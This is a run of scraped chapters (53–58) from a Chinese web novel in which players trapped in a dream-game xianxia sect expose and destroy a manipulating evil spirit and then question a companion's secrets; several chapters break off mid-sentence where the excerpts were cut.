俞小澄脑子飞速运转着,心情十分复杂,有不解,有愤怒,甚至有干脆杀掉那两个小畜生的冲动,可理智又像是装在她体内的保险栓,时刻防止擦枪走火。 正在这时,郝元青的声音悠悠响起:“禀告掌门,仙门中并无弟子叫俞小澄。” 阜掌门的目光如冰锥一般射向那个喊出“俞小澄”的高中生,高中生惊慌失措地摇了摇脑袋,又望向人群中的俞小澄,辩解道:“不可能, 53. 梦境(二) 《我好像住进了黑店》全本免费阅读 众目睽睽下,俞小澄跟随阜掌门进了正殿,一进门,阜掌门便直奔主题:“说吧,究竟谁是内应。” 俞小澄将门关上,一次深呼吸后,缓缓说道:“我还不能告诉你,内应隐藏得很好,我不确定是谁。” “嚯?挺大的胆子……”阜掌门摸了摸下巴,饶有兴趣地打量着俞小澄,“你不知内应是谁,又想同我说什么?故弄玄虚?还是拖延时间?” “都不是。”俞小澄语气坚定地回答:“我有办法替掌门对付内应。” 阜掌门气定神闲地在殿里坐下,抬手示意俞小澄说下去。 “既然妖族派在仙门内安插内应是为了破坏阵眼,那掌门将所有弟子关在房中,不许走动,相互监视,无需找出内应是谁,也可彻底废了内应的作用。” 阜掌门嘴角微扬,道:“有点意思,你要我将门中弟子全关起来?究竟是何种路数?” 俞小澄不答反问:“掌门打算何时处置嫣儿?” “明日,嫣儿这孩子命苦……可如今为了苍生,不得不牺牲……”阜掌门面露忧愁。 “既是如此,妖族要救妖王,明日之前内应必有行动,可只要掌门限制了所有弟子的行动,内应只要敢轻举妄动,那就是自投罗网。”俞小澄继续忽悠着。 阜掌门神情专注,似乎真为她的言语所动,认真考虑着她提出的方案。 其实俞小澄是有私心的,她这么说不止是想保住所有人,将大伙互相残杀的局面尽力往后拖延,更是为了找出恶灵。 首先,她便得确认恶灵是否在仙门之中,又是否是阜掌门。 今日限制了内应的行动,明日嫣儿一死,几乎就是宣告仙门阵营的胜利,对恶灵而言,毫无对抗性可言,不可能允许这样的事发生。 想到这里,俞小澄静静地等待着阜掌门的回答。过了许久,阜掌门说:“你的提议不无道理,可以一试。” 见阜掌门没有拒绝,这意味着可以排除阜掌门的嫌疑,俞小澄长舒一口气,问:“掌门可知,这世上有一种琴声,能使听见的人全都失去意识?” “还有此等法术?”阜掌门显然初次听说。 俞小澄又道:“偏偏阜掌门的禁锢符箓可以抵御这种琴声。” 阜掌门一愣,随即豪爽地大笑起来,直言:“你是觉得这琴声与我有关?” 俞小澄摇了摇头:“托掌门所创符箓的福,我有幸在书院听到了这琴声,但我不知琴声出自何人之手,而这个人,或许比内应更棘手。” “为何这么说?”阜掌门问。 “因为这琴声能控制仙门弟子,经他们之手,将书院学生送到妖族手里,若不这么做,那琴声会控制他们自我了断。”俞小澄慢条斯理地解释着。 阜掌门闻言大惊,拍桌而起,兴师问罪般怒道:“你既知晓,为何现在才说!” 俞小澄身子往后缩了缩,咬牙道:“那人一直藏身暗处帮助妖族,我没有能力自保,害怕说出来会被灭口,如今得见掌门,希望能跟掌门学些保命之法,掌门既然能对付得了琴声,相信也对付得了弹琴之人,对吧?” 阜掌门想了想,压下怒气,重新坐了下来,说:“我的确有一招制敌之法,既可对付人,也可对付妖,就算是神仙来了,怕是也难逃,但你境界不够,恐难施展。” 阜掌门说着起身,随手一挥便凭空变出一张符纸,符纸上的符箓很是诡异,黑色的不是墨汁也不是血,倒像是无数只黑色的小虫挤在一起,凝固成奇怪的图案。 阜掌门将符纸递给俞小澄,说:“这是万蛊之力,若能以真气催动万蛊,被万蛊缠上的人,必死无疑。” 俞小澄犹豫着伸手接过了符纸,只觉这设定实在不太合理,她似乎已经找到了消灭恶灵的道具,可没有那所谓的修为,她要如何使用道具? “额……我在想,要不劳烦掌门……” “我与长老还需专心对付妖王,此事我可让郝元青助你,定要找出暗中与妖勾结之徒!” 阜掌门一副寄予重望的表情,郑重其事地拍了拍俞小澄的肩膀。 离开正殿后,阜掌门与三位长老及商先生还有要事相商,宣布寻找内应一事暂且押后,即刻起,仙门上下若非得令,全都必须留在房中,不得随意走动,直至消灭妖王的仪式完成。 同时,阜掌门会在各个房间设下天雷结界,一旦走出房门,便会触发禁制,引天雷惩戒。 众弟子议论纷纷,却不得不服从。随后被俘三人由大师兄押回地牢看守,其他人则各自回到了房中。 俞小澄四人走进房中时,陈奇和张尧都在床下躲着,等门被关上后,他们才从床底下爬了出来。 “什么情况?”张尧一脸疑惑。 俞小澄将事情经过简单向众人说明后,陈奇当即发火:“大姐,你是不是跟我有仇?想不到你为了赢,手段如此卑劣!” 吴樊祐挡在俞小澄身前,语气不善地回道:“怎么?我学姐没有直接告诉掌门,你就是内鬼,让你不爽了?” 陈奇看到吴樊祐,瞬间熄了火,可吴樊祐的话却成功地点燃了另一把火。 曾勇一个健步上前,一把抓住了陈奇的领口,高声骂道:“好家伙,原来你就是内鬼啊!我就说在禁闭室里怎么老鬼鬼祟祟的,是想趁我不注意溜进密道破坏阵眼吧!” “仙门秘境在禁闭室?”俞小澄一脸震惊。 曾勇紧抓着陈奇的领口,钳制住陈奇的行动,火大地说道:“嗯,这家伙被关进禁闭室的第一晚就趁我睡着打开了密道,只是他没想到我留了个心眼,装睡的,他说他是无意中发现的,现在看来,他设计被关禁闭根本就是冲着阵眼去的。” 以前奇怪的地方全都能说通了,俞小澄觉得,大概陈奇当天就后悔招惹了曾勇,害得自己一直无法行动。 “是我又怎么样,反正都这样了,如果我死,你们一个都别想活!”陈奇破罐子破摔一般嘴硬着。 随即,陈奇的脸就狠狠吃了曾勇一记重拳,倒在床上,双手捂着鼻梁,边打滚边嚎叫。 俞小澄被他吵得头疼,没好气地大声喊道:“行了,我没说要你死,我要杀的是恶灵!” 一瞬间,整个房间都安静了,所有人都诧异地盯着她,就像她说了一句震惊世界的话。 “怎么了?”俞小澄被盯得有些心虚。 吴樊祐:“没想到有一天,能从学姐嘴里听到这么帅气的话!” 张尧:“小澄姐你……不会人格分裂吧?” 曾勇:“那个……女孩子,别把杀啊死啊放嘴边,挺吓人的。” 陈奇:“不是就算了,这么凶干嘛,吓唬谁呢……” 俞小澄只觉心累,被这个梦境折磨得越来越焦躁,一扭头却瞥见白羽楠始终沉默着,她不知何时远离了人群,心事重重地坐到了角落那 54. 梦境(二) 《我好像住进了黑店》全本免费阅读 这一觉睡得格外沉,仿佛失去了意识,中途竟是一次都未醒,等到俞小澄睁开眼时,只见招财进宝焦急万分地趴在她床头。 她起身看了看屋内,所有人似乎都刚从睡梦中醒来,茫然地相互看着,可屋内偏偏少了三个人——白羽楠、张尧和陈奇不见了。 忽然一阵地动山摇,屋外传来惊呼声,随即钟声大作,响彻整个仙门。 “怎么回事?”曾勇率先开口。 “那三人去哪儿了?”吴樊祐提醒道。 他走到房门口,指节叩在原本画着符箓的地方,此刻只剩一团看不清图案的血污,“看来我们之中出了叛徒。” “到底发生了什么?”俞小澄自言自语,拍了拍脸蛋,感觉脑袋里空空了,只记得自己犯困睡了一觉。 招财窜到她眼前,无奈地说:“姐姐,你什么都不记得了吗?一刻前,大家都被琴声吵醒了……” 在招财进宝的描述中,之前大家陆陆续续入睡,一切都还正常,可过了四五个小时,仙门内突然响起琴声。 所有人被琴声惊醒,却因为阜掌门设下的结界,不敢贸然出门查看。 其中,陈奇的反应格外强烈,他惊慌失措地要开门出屋,最终被吴樊祐拦下揍了一顿,就在大家注意力全集中在陈奇身上时,张尧竟偷偷用陈奇的血把门上符箓破坏了。 一瞬间,屋里人失去了意识,可白羽楠、张尧和陈奇三人却行动自如,张尧和陈奇将其他人搬回床上后,拉上白羽楠扬长而去。 “我想用禁锢之力将姐姐唤醒,可姐姐失去意识,我便无法附身,自然也无法使用符纸……”招财垂头丧气地解释道。 “出门会触发禁制,引天雷惩戒,他们又是如何离开的?”俞小澄顾不上旁人目光,着急问道。 进宝道:“他俩好像知道破解结界的法门,进宝看见张尧咬破手指,往门外滴了一滴血,然后就带人离开了房间。” 说话间,房门忽被推开,众人循声望去,只见郝元青闯进屋内,一脸诧异地看了看众人,又注视着门外地面,道:“你们这间屋的天雷结界怎么被破了……妖血?怎么会……” 他似乎想到了什么,目光犀利地扫向俞小澄和吴樊祐,一脸严肃地发问:“我记得昨夜由你二人押回一只妖,可回仙门后,我似乎再未见过那只妖……那妖呢?” “跑了。”吴樊祐如实答道。 “跑……”郝元青抚额叹气,神情中满是恨铁不成钢的无奈,“算了,掌门紧急召集,赶紧随我前往正殿。” 三人一脸懵逼,紧紧跟随郝元青的脚步走出了房间。屋外,天色呈现出一种怪异的土黄色,就像是黄沙遮天蔽日一般,透着一股空气遭受污染的末日之感。 走在仙门内,妖风肆意横行,带着骇人的呜咽声,好似恶魔发出的低语。 路过广场时,俞小澄远远看见大师兄带着百名弟子守在山门,他们神情紧张,如临大敌。 俞小澄心中有种不祥的预感。 当她走进正殿,一眼就看见被五花大绑扔在正殿中央的六个人,其中三人自然是早前落网的高中生和西装男,而另外三人则是白羽楠、张尧和陈奇。 俞小澄知道,她的预感成真了。 正殿内,阜掌门与三位长老齐聚一堂,一旁站着商先生,而嫣儿此刻正抓着商先生的袍子躲在他身后,十来名弟子分列两边,全都愁眉不展地盯着中央六个阶下囚。 俞小澄三人进殿后,跟随郝元青站到了边上,随即便听阜掌门高声说道: “封印妖王的阵眼已被妖人破坏,今日与妖族一战在所难免,当务之急是毁了妖王的法力,切莫让他夺回,否则后患无穷。” 说话间,所有人的目光都投向了嫣儿,嫣儿胆怯地躲到了商先生身后。 只见商先生朝阜掌门点了点头,阜掌门似乎下定某种决心,径直走到了俞小澄三人面前,抬手指了指被绑在正殿中央的三人,道:“为保门内再无妖族内应,为振仙门弟子士气,也为证你三人清白,这些孽障不可留。” 阜掌门说着命人拿来三把剑,交到了俞小澄三人手中,然后他让到一旁,等待三人行动。 “我去,这是要我们自相残杀啊!”曾勇厌恶地看着手里泛着寒光的剑刃,小声嘀咕着。 地上的人满眼绝望,嘴里塞满布条,只能发出难以听辨的呜呜声。 正殿内所有的目光都汇聚到执剑的三人身上,可三人只是看着手里的剑又看看地上的人,谁也没有动作。 殿内安静了片刻,忽闻“当啷”一声清响,吴樊祐将剑随意扔在地上,一脸无所谓地说:“我干嘛要证明自己的清白,要杀就杀,搞这么多有的没的……” 他这句话,将曾勇吓得不轻,一把捂住了他的嘴,低声骂道:“小兄弟,你疯啦,你玩的可不止你一个人的命,我可没说要跟你一起死!” 曾勇又看向俞小澄,似想从她身上得到认同,但俞小澄没有理会二人,埋头思索着什么,过了许久才抬头问阜掌门:“他们终究不过受人摆布的棋子,掌门若想杀鸡儆猴,应该找出真正隐藏在深处的恶灵。” “恶灵?”阜掌门若有所思,“你是指在下河村暗助妖族之人?” “正是!”俞小澄目光炯炯。 正殿内,长老与弟子无不议论纷纷,似乎都是第一次听说这样的事,诧异中带着几分担忧。 一直温柔安抚着嫣儿的商先生闻言,饶有兴致地发言:“噢?什么恶灵?怎么此前未听小鱼姑娘提及?” 那声音听上去挺友善,可隐隐透着一丝兴师问罪的味道,俞小澄还未来得及开口解释,就听阜掌门笑道:“弟子胆小怕事,不敢口无遮拦,便先行回来向我请示。” 阜掌门帮忙挡下了商先生的质问,又一脸严肃地问俞小澄:“上回你还无法断定此人身份,莫非现在有了眉目?” 俞小澄不答反问:“请问有多少人知晓天雷结界破解之法?” 张尧闻言一怔,似乎想到了什么,奈何嘴被堵上开不了口,只能瞪大了眼睛看向阜掌门,等待一个答案。 “掌握天雷结界的人除了大师兄,其余皆在殿中。”郝元青替阜掌门开了口,他缓缓走到俞小澄面前,透过面具上的窟窿凝视着俞小澄。 那眼神十分炙热,在只有俞小澄才能看到的角度,郝元青朝她伸出了手,声音却格外平缓地问:“莫非小鱼师妹觉得勾结妖族的人就在我们之中?” 俞小澄愣了愣神,又见阜掌门朝自己眨了眨眼,瞬间想到了阜掌门曾许诺,会让郝元青助自己,此刻看来郝元青已收到阜掌门指示,于是她不动声色地从怀 55. 梦境(二) 《我好像住进了黑店》全本免费阅读 吴樊祐的话说得不留情面,商先生的表情明显有些僵,俞小澄稍加思索,顿时明白吴樊祐的打算,于是随声附和道:“当然,商先生手无缚鸡之力,怎会兴风作浪。” “要我说,还得是琮云长老,器宇不凡,身手了得,黑白两道莫敢不从,妥妥大男主啊!”吴樊祐拍马屁一般评价道。 他的话将殿内所有人的视线都吸引到了琮云长老身上,而琮云长老眉头深锁,一身正气地回了四个字:“一派胡言。” 俞小澄又接过话头,顺势说道:“可两日前琮云长老并未下山,实在没有动手的机会,相较之下,大师兄似乎更有嫌疑。” “大师兄是掌门首徒,天之骄子,倒也有点主角之姿,可终究普通了些。相较之下,书院中有一人我们好像忽略了。他看似平平无奇,谁也不看好,可机缘巧合竟被掌门收为关门弟子,这不也很主角?”吴樊祐一副煞有介事的模样。 “哦,你说书院小厮?好像有点道理。”俞小澄连连点头。 郝元青闻言一脸困惑,看上去完全无法理解俞小澄和吴樊祐究竟在胡说八道什么,忍不住打断道: “小师弟资质一般,可对法阵颇有天赋,幸得商先生慧眼识珠,引荐入我仙门。不过他年纪尚小,一来生不出这等歪心思,二来也没这个本事。” 郝元青说的这些,俞小澄和吴樊祐自然早就想到,但他们的目的哪里是提出恶灵候选名单,不过是苦于手中没有证据,想以此激怒恶灵罢了。 幽兰梦境的恶灵以分化玩家自相残杀为乐,这场梦境就像它的游乐场,一切走向都以它为主导。 正因如此,他们不禁想到,若有人偏不让它遂心如意呢?它又是否甘于隐藏呢? “哦,这样说来也对,那嫣儿也挺可疑,要论身世,论潜藏的力量,嫣儿不是大女主,还有谁担得起?”俞小澄越过商先生,看向嫣儿。 “这……”郝元青一时语塞,细想之下,嫣儿体内妖王之力觉醒,帮助妖族里应外合也不是不可能,遂生出一丝迟疑。 当殿内所有人的注意力都集中在嫣儿身上时,商先生面色阴沉,隐隐透着一股失望,却努力维持着语调的平稳:“两位究竟在胡言乱语些什么?嫣儿一个小女孩也能让两位恐惧吗?” “害怕嫣儿的不是商先生么?”吴樊祐笑道。 “呵,笑话。”商先生拂袖冷喝一声,强烈地表达着自己的不屑一顾。 俞小澄转向郝元青,一字一句提问,郝元青虽不明就里,但依然配合着一一作答。 俞小澄:“提议将嫣儿关在游冥书院的是否是商先生?” 郝元青:“是商先生与掌门商议的结果。” 俞小澄:“在书院里施加保护结界,向仙门借伏妖炉,又是否是商先生的主意?” 郝元青:“的确是商先生提出的。” 俞小澄:“以妖族威胁为由,提出将嫣儿带回仙门的人,又是否是商先生呢?” 郝元青:“可以说是商先生与掌门及各位长□□同决定的。” 俞小澄装模作样地摸着下巴,一副沉思的模样,感叹道:“每件事都有商先生的参与,不觉得他一个普通教书先生管得太宽了么?” “这……”郝元青一脸为难地看向琮云长老和阜掌门,但那两人一时也不知如何回应。 吴樊祐紧接着说道:“唉,哪里是管得宽啊,其实商先生就是嫣儿控制的傀儡吧,不管是在下河村故弄玄虚,还是在仙门操控内应破坏阵眼,目的都是制造恐慌,戏耍仙门。” “傀、傀儡……”商先生额头青筋跳动,目瞪口呆。 “一切都说得通了!我就说怎么商先生好像知道得挺多,都是嫣儿告诉你的吧?”俞小澄继续拱火,“嫣儿是主谋,那你是自愿臣服的傀儡,还是任人摆布的棋子呢?” “嗯,有可能自己被利用了都不知道吧。” 吴樊祐与俞小澄一唱一和,将商先生太过巧合的疑点全部归结于遭人利用,为其塑造了一种无知又可怜的棋子形象。 就在二人继续贴脸嘲讽时,俞小澄感觉到一丝杀气,下意识抬眼向商先生所在的方向看去,只见商先生从手掌内抽出了一把琴。 那是一把人骨做成,手臂长短的骨琴,散发着诡异的气息,悬浮于商先生身前,商先生指尖抚上琴弦,脸上的笑随之变得阴森起来。 俞小澄心里咯噔一下,一种不好的预感油然而生,她正想出声提醒郝元青注意幕后黑手的尾巴露出来了,可下一秒,耳边传来一声琴响。 “铮——” 一瞬间,殿内所有声音都消失了,只有琴声悠扬。 俞小澄诧异地发现自己听着琴声却保持着清醒,而身旁所有人都像被人按下了暂停键,维持着琴声响起前的姿势,眼神空洞地望着前方。 在她身旁,郝元青已经从袖中祭出万蛊之力符纸,看来他也注意到了商先生的举动,可终究没来得及阻止商先生弹响骨琴。 在这个停摆的世界里,偏偏只有俞小澄可以活动,她紧张地看向商先生,只见对方悠然自得地抚琴弹奏,如痴如醉。 耳边忽然传来商先生的声音:“愚蠢,这里是我的梦境,是我所支配的世界,我才是神,你们只需按照我给的选项走向结局就好,为何要自作聪明?” 那声音带着怨气,是对他们出言不逊的控诉。 俞小澄想逼得恶灵自己露出狐狸尾巴,届时由郝元青出面将恶灵收拾了,没想到恶灵控场的琴声说来就来,如今万蛊之力符纸就在眼前,她却束手无策。 看着俞小澄手足无措的模样,商先生很是满意,高傲地说道:“别怕,我会给你们每个人选择的机会,现在轮到你了。” 商先生的指尖在琴弦上翩翩起舞,说话的声音也跟着轻柔起来,在他眼中,所有人都是可以轻松拿捏的棋子。 “我给你两条路:一是杀了嫣儿,消灭妖王之力,仙门便可顺利解决此次危急;一是带嫣儿离开仙门,妖王取回妖力,重回人间,妖族便可灭了仙门。” 商先生轻巧地说着不容拒绝的话,“给你一曲时间,这场梦境的结局由你决定。” 俞小澄的心凉了半截,低声问道:“玩家的结局会怎样?” 商先生满不在乎地回答:“仙门胜,则妖族阵营全员死亡;妖族胜,则仙门阵营覆灭。” “你的结局设定中为何没有村民阵营,那你一开始又干嘛要设置第三方阵营呢?”俞小澄一边问着,一边朝郝元青靠近。 商先 56. 梦境(二) 《我好像住进了黑店》全本免费阅读 说话的并不是俞小澄,而是附身在俞小澄身上的招财。 就在俞小澄提剑逼近嫣儿时,招财已经取代了俞小澄,控制了她的身体,并以血画符,为俞小澄贴上了禁锢之力的符纸来抵御那该死的琴声攻击。 听到俞小澄的声音,商先生显然大吃一惊。 “你怎么会……”商先生低头看看骨琴,又看看四周没有意识的人群,实在难以消化此刻的情形。 招财用手指点了点左肩,那里稳稳贴着一张黄纸,纸上画着禁锢之力的符箓。 商先生瞪大了眼,眼里全是对局势脱离自己掌控的不理解,嘴里喃喃自语:“什么时候……怎么可能……不会的,我才是神……” “神?恶灵做久了,真忘了自己是谁了么?可笑。”吴樊祐挡在俞小澄身前,语气中满是嘲讽,“学姐说选择你死,我自然也选你死。” 商先生努力稳住情绪,眼神变得狠厉,指下琴声不敢停顿。 有那么一瞬,俞小澄忽然觉得,恶灵的能力是一把双刃剑,强化恶灵存在的同时,也限制了他的行为模式,犹如被规则束缚在梦境里。 “让我死?就凭你们?”商先生阴冷的笑声响彻殿内,有一种蔑视他人的高傲,他看着吴樊祐说道,“别傻了,这是我的梦境,我就是神,你们的剑就算能刺穿我,那又怎样?对我来说不痛不痒!但是,等到琴曲终了,你们之中必死一个。” 商先生一副高枕无忧的神态,悠然地继续抚琴,似乎根本不在意俞小澄二人是否真会提剑再刺进他体内。 不过,看着他抚琴的二人跟他一样气定神闲。 吴樊祐用手撑着下巴,笑道:“恐怕你撑不到一曲终了。” 招财清了清嗓子,指尖指了指脖子,故作关心的模样问道:“商先生,你不觉得身上有异样?” 商先生见二人的模样不像故弄玄虚,闻言更是心惊,抚琴的动作也随之变缓,随后竟真感觉身上有些异样。 一阵黑气从他后背腾起,正往他全身蔓延,无数黑色的小虫爬上了他白皙的脖子,如同黑色的纹身,密密麻麻覆盖在皮肤上。 当商先生意识到不妙时,黑色的小虫已经兵分数路,爬上他的脸,占据他的手臂,覆盖他的全身。 “哐当”一声,骨琴落地,商先生的动作僵硬,密密麻麻的虫群占据了他的整具身体。 正殿内,响起商先生绝望又惊诧的尖叫声:“不可能!万蛊之力不可能听玩家驱使!!” “可我不是玩家,梦境中的符箓我都能使。”招财得意地摸了摸鼻子,随即脱离附身。 商先生身上的小虫开始往皮肤里钻,并散发出阵阵黑气,一点点吞噬了商先生。就像是无数微生物以商先生的身体为舞台,在短短几分钟内,上演了一场分解尸体的表演。 “我不可能输,我是造梦者,在我的梦境中我就是神!我不要离开,我要成为统领世界的神……” 商先生歇斯底里的喊声随着被分解的身体逐渐变得微弱。 白光穿透了正殿穹顶,被白光照射的人与物逐一消失,唯有尚且存活的玩家恢复了意识。 曾勇不知发生了什么事,急忙冲到被绑的六人身旁,挨个帮他们松绑,而得救的六人除了张尧和陈奇,全都一脸懵逼。 正在这时,吴樊祐飞速冲向即将灰飞烟灭的商先生,从他脚下拾起了骨琴。 在他拿起骨琴的一瞬间,骨琴碎裂成片,每一块碎片里都投射出奇怪的影像片段,有唇枪舌剑,有蜜语甜言,有血腥暴力,有阴暗恐惧…… “那是什么……”张尧不知何时已经来到俞小澄身边,望着不远处怪异的景象,惊得合不拢嘴。 “是记忆。” 回答的人是陈奇,他活动着因捆绑而酸痛的身体,当所有人的视线落到他脸上时,他有些不情不愿地解释,“我只见过一次,有人在梦境中找到了自己的记忆,当时就差不多是这个样子。” “那这些是吴哥的记忆?”张尧呢喃着望向吴樊祐身前的碎片。 碎片中出现的人影,俞小澄一个都不认识,似乎全都是与记忆的主人有感情纠葛的女子,她心里顿时五味杂陈。 时隔四年,吴樊祐的确应该有她所不知道的人生,与她无关的感情生活,只是其中没有大学校花,这倒让她有些不解,难道二人很快就分手了?她不禁胡思乱想起来。 “咳,别人的隐私,我们是不是该回避。” 俞小澄转移了视线,尽力不让自己好奇,死死压住尘封的过往,装作不在意。 张尧用手半挡住嘴,低声说道:“看那些片段,好像是个渣男……” 吴樊祐终于忍不住往回走了几步,一拳捶在了张尧头顶,骂道:“说谁呐,怎么可能是我的记忆,这些人我一个都不认识。” 张尧捂着头,躲到俞小澄身后,委屈地回怼:“不是你是谁?不是你碰了那琴才出现的记忆片段吗?” 就在二人绕着俞小澄打闹时,那些碎片像是结束了影像的放映,一片片黯淡下去,散发出一层黑色的雾气,紧接着所有碎片重新汇聚到一起,竟拼凑出一扇被黑雾覆盖的门。 “什么情况?”曾勇好奇靠近查看。 “别动!”吴樊祐停下追打张尧的脚步,大吼一声,吓了在场众人一跳。 当大家愣在原处,一脸不解地望着吴樊祐时,他抓住俞小澄的手,拉着她往黑雾之门走去,嘴里柔声解释:“学姐,这应该就是记忆之门,先离开这里。” 听到“记忆之门”的瞬间,俞小澄停下了脚步,茫然地发问:“你怎么知道……” 霎时间,纠结的表情在吴樊祐的脸上浮现,他想了想回道:“我猜的。” 就是这犹豫的半分钟内,有两道人影像离弦的箭一般冲到了门边,朝着吴樊祐做了个鬼脸,嘴里讥笑道:“白痴,谁要听你安排。” 所有人都还未反应过来,那两个高中生已经伸手推开了黑雾之门,门内同样漆黑一片,两人相视一笑,一前一后走进了门内。 然而,走在前面的一人彻底消失在黑暗中,而另一人仿佛穿过一层黑雾,重新出现在了门后,而那扇黑雾之门也在此时化成一道黑烟,就此消散。 “大林!”被留下的那个高中生在黑雾消失的地方来回打转,高声呼唤着同伴的名字,可再也得不到任何回应。 白光将这个世界穿透得支离破碎,最终彻底淹没了一切。 俞小澄知道,他们该醒了。 再睁开眼,她已经躺在了床上,房间内与进入梦境时毫无二致。 她下意识地摸了摸衣兜,才发现自己还穿着梦境中的古装,解开腰间的荷包,招财进宝的瓷娃娃还躺在里面,唯一的变化是招 57. 严刑 《我好像住进了黑店》全本免费阅读 天一亮,俞小澄早早叫醒白羽楠出了房间,敲响了吴樊祐的房门。 前来应门的是张尧,而吴樊祐还在赖床,床角上却放着两套衣服,俞小澄一眼就认出那是她与白羽楠原本的衣服。 “奇了怪了,这家伙为啥能打电话叫客房服务?”为了不吵醒吴樊祐,张尧压低声音说出自己疑惑之处,又从床上拿起衣服递给了俞小澄二人。 此前俞小澄就感觉奇怪,她在房中从没找到过客房服务相关信息,所以不知道吴樊祐如何获取到的客房服务。 如今听张尧提起,原本从未打消的疑问再次涌现,俞小澄小声追问:“你们没人知道客服电话?” 张尧摇了摇头,朝二人招了招手,将她们带到了电话旁,提起话筒,摆到两人之间。俞小澄和白羽楠贴到话筒两边,却什么也没有听见。 白羽楠问:“怎么没有声音?” 张尧异样的眼神扫过床上熟睡中的人,努力压抑着情绪,说:“当然没有声音,这电话根本就是摆设,第一天来到旅店时,我就尝试用房中电话报警,根本没有接通信号。那小子又是如何播出电话的?” 张尧和白羽楠的表情变得复杂,既有不解,也有惊恐,二人不约而同看向俞小澄。 “要不……把他绑起来严刑逼供?”白羽楠索性大胆建议。 “房间里也没绳子啊,那小子人高马大的,我可压制不住。”张尧急忙泼了一盆冷水。 “咱不能文明点用嘴问吗?”俞小澄苦笑。 张尧和白羽楠像是等到了答案,齐齐退到一旁,让出一条道,并朝俞小澄做了个“请”的手势,然后将所有希望都强制压到了她的身上。 俞小澄总有一种中计的感觉,哭笑不得地看向吴樊祐,那人睡得正酣,浑然不觉大难临头。 在张尧和白羽楠期待的目光下,俞小澄硬着头皮一步步走到床边,心中预演着要问的问题,却又在担心吴樊祐是否会告诉自己。 眼前熟睡中的男人让她觉得陌生,她此刻才深刻地意识到,她对吴樊祐一无所知,对他的了解也不过基于大学时期的记忆。 大学毕业后的他呢? 过着什么样的生活,成为了什么样的人,又有怎样的遭遇? 他真的值得信任吗? 就像她看到幽兰梦境中的记忆碎片时一样,一切都超出了她的认知。 不安就像一颗萌芽的种子,盘踞在心头难以忽视。 带着复杂的情绪,俞小澄坐在床边戳了戳吴樊祐的胳膊,对方并无反应,她又摇了摇吴樊祐的身子,对方只是闷哼了一声当做回应,随即转了个身继续昏睡,她无奈地一把揪住了吴樊祐的脸颊用力一拧。 这一次,对方哀嚎着睁开了眼睛,本是一肚子火,却在看清面前人后,硬生生将怒火熄灭,然后笑嘻嘻地对俞小澄说了声:“早啊学姐。” “这衣服……” 预演数次的话到了嘴边,终究难以启齿,俞小澄有些担心,担心太过直白的话会彻底粉碎两人的关系。 吴樊祐揉了揉脸,随意用手拨弄了一番发型,努力意会着俞小澄想要表达的意思,道:“我以为穿原来的衣服会方便些,还是说学姐想换件别的款式?” “啊不是,这件就好。”俞小澄抱着衣服摆了摆手,支吾半晌也没问出关键问题。 白羽楠终于看不下去,晃了晃手里的话筒,插嘴道:“我想换条裙子,你能再叫个客房服务吗?” 吴樊祐抬头看到房中还有两人,忍不住皱起了眉头,不耐烦地说:“啧,原来你们还在啊。想换裙子自己拿金币去找前台,要不是张尧多事,我才懒得准备你的衣服呢,就你事多。” “我事多?”白羽楠有些无语,“我看是你隐瞒的事更多吧!这电话根本不通,你是如何拨通电话的?” 三人同时注视着吴樊祐,可他一点都不慌,反唇相讥道:“你用不了,不代表我用不了。” “什么歪理?你凭什么能用?你有什么不可告人的身份?”白羽楠简直无法相信有人想用这种理由搪塞过去。 吴樊祐故作高深,道:“也许我是天选之子。” “啊呸,我看你是中二病犯了!”张尧忍不住吐槽,“你跟这间旅店有些不可告人的关系吧?否则怎么好像什么都能提前知晓?” “我第六感一向很准。”吴樊祐淡定回复。 俞小澄没有顺着他们的话题继续追问,而是一脸认真地问出了一个不相关的问题:“那些记忆当真不是你的?” “不是。”这一回,吴樊祐回答得十分诚恳。 “那会是谁的记忆呢……”俞小澄思考起来。 张尧打断道:“小澄姐,这是重点吗?如果不是这小子的记忆,那可能是某个住客的记忆。关键他怎么知道那是记忆之门?” “喊谁小子呢?!”吴樊祐挥拳威胁。 张尧立刻不情愿地补充一句:“吴哥,吴哥怎么知道的。” 吴樊祐说:“我为什么不能知道?你蠢,就不许别人聪明?一扇突然出现的门,不是记忆之门又会是什么?” 张尧当即回怼:“你去捡琴的时候它可还不是门,你不觉得自己举动很可疑吗?” “不觉得。”吴樊祐冷冷道,“我捡琴不过是防止再被琴声控制,发现它是记忆之门纯属巧合,只能说,天选之人,欧皇附体。” “……” 一时间,众人无话可说。 白羽楠突然想到什么,问道:“记忆之门怎么会消失呢?不是找到记忆之门就可以离开这鬼地方了吗?” “我哪儿知道。”吴樊祐回道,“这个问题我建议你去问客服。” “那你还知道些什么?”张尧接话。 吴樊祐若有所思地环顾四周,视线从白羽楠和张尧的脸上扫过,最终落在俞小澄身上,直视着俞小澄的眼睛,打趣道:“我怎么有种被当犯人审问的感觉,是我的错觉吗?” 俞小澄尴尬地干笑两声:“呵呵,怎么会呢,只是你常能找到不易发现的线索,所以……所以大家信任你……” 吴樊祐身子前倾,眯着眼靠近俞小澄,死死盯着她的眼睛,似要读出她的真心,轻声低语:“学姐当真信我?无论我说什么,学姐都能听我的?” 吴樊祐的视线太过热烈,盯得俞小澄有些心虚,他似乎是真心实意想要获得信任,这让俞小澄感觉过意不去,眼神在游离中逃避,支支吾吾半晌,怎么也说不出一句“我信你”。 感受到俞小澄闪躲的目光,吴樊祐开玩笑一般拍了拍俞小澄的胳膊,笑道:“学姐,这个时候就算不是这么想的,是不是也该说谎骗骗我,怎么办,有点伤自尊啊。” “不、不是……”俞小澄紧张地摇 58. 合作 《我好像住进了黑店》全本免费阅读 陈奇的一句话,让整个餐厅里的气氛变得微妙起来。 高中生看向他们这桌的眼神带着恨意;禾苒始终愁眉苦脸,对事态的发展保持观望状态;曾勇仅仅对陈奇表现出不屑,并对与陈奇合作的人嗤之以鼻。 “合作?”俞小澄谨慎地观察着陈奇的表情,“我好像没有什么本事能与奇哥合作。” 陈奇处事老练地笑道:“谦虚了不是?哈哈……小俞妹子这样说就见外了,这旅店里我遇到过不少人,我敢说,小俞妹子绝对是聪明人,也鲜少有人有你这般胆识……” 陈奇对着俞小澄就是一顿彩虹屁,俞小澄尴尬得脚趾抠地,恨不得堵上陈奇的嘴,赶紧打断道:“不知奇哥又想出什么馊……sogood的主意?” 白羽楠忍着没笑出声,帮忙转移注意力:“这样要人命的梦境里,还能合作?我们在里面阵营都可能不一样不是?” “本来确实没什么合作必要。”陈奇眼睛里闪烁着狡黠的光,“可这一次,我们干掉了恶灵,并找到了记忆之门,情况不一样了。” 